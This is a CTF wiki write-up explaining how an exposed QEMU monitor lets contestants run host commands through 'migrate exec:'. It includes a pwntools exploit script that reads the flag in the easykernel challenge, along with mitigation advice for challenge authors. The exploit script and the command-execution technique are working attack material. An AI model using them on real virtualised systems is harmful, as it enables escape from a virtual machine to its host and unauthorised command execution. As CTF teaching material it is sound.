Reading the Flag via QEMU Monitor¶
QEMU monitor is a built-in interactive console window in QEMU, primarily used for monitoring and managing virtual machine states. Since Linux kernel pwn challenges typically use QEMU to create virtual machine environments, if access to the QEMU monitor is not disabled for contestants, they can directly gain access to the entire virtual machine. Additionally, since QEMU monitor supports executing commands on the host side, it can also be used to directly read the flag in the challenge environment. This also means we can use QEMU monitor to achieve virtual machine escape.
For challenge authors, you should always ensure that the
QEMUparameters include-monitor noneor-monitor /dev/nullto prevent contestants from accessing the QEMU monitor.
Normally, the method to enter the QEMU monitor is as follows:
- First, press
CTRL + Asimultaneously - Then press
C
When using a pwntools script, this can be accomplished by sending "\x01c", for example:
p = remote("localhost", 11451)
p.send(b"\x01c")
In the QEMU monitor, there is a useful command called migrate, which supports executing a specific URI:
(qemu) help migrate
migrate [-d] [-r] uri -- migrate to URI (using -d to not wait for completion)
-r to resume a paused postcopy migration
The URI can be 'exec:<command>' or tcp:<ip:port>. The former allows us to execute commands directly on the host. For example, the following command executes ls on the host:
migrate "exec: sh -c ls"
Sometimes you may encounter situations with no output due to special reasons. In such cases, you can try redirecting stdout to stderr, for example:
(qemu) migrate "exec: whoami"
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu) migrate "exec: whoami 1>&2"
arttnba3
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu)
Example: West Lake Sword Discussion 2021 Online Qualifier - easykernel¶
The challenge files can be downloaded from https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/XHLJ2021-easykernel.
Analysis && Exploitation¶
First, examining the startup script, we can see that the QEMU monitor is not disabled:
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-cpu kvm64,+smep \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-s \
-append "console=ttyS0 kaslr quiet noapic"
Therefore, we can directly read the flag on the host via the QEMU monitor. Here, the flag is stored in rootfs.img.gz, so we use strings|grep to filter it:
from pwn import *
def recvuntil_filter(p, target):
target_len = len(target)
s = b''
ignore_next = False
while True:
ch = p.recv(1)
if ignore_next:
ignore_next = False
continue
if ch == b'\x1b':
ch = p.recv(2)
if ch == b'[D':
ignore_next = True
elif ch == b'[K':
s = b''
else:
print("Unhandled escape sequences : {}".format(ch))
continue
if ch[0] < 0x20 or ch[0] > 0x7E:
continue
s += ch
if s[-target_len:] == target:
return s
def main():
p = process('./start.sh')
p.recvuntil(b"/ $")
p.send(b"\x01c")
p.recvuntil(b"monitor - type 'help' for more information")
p.sendline(b'migrate "exec: gunzip -c ./rootfs.img.gz | strings | grep -i flag{ 1>&2"')
recvuntil_filter(p, b'grep -i flag{')
flag = recvuntil_filter(p, b'flag{')[-5:]
flag += recvuntil_filter(p, b'}')
print(flag.decode())
if __name__ == '__main__':
main()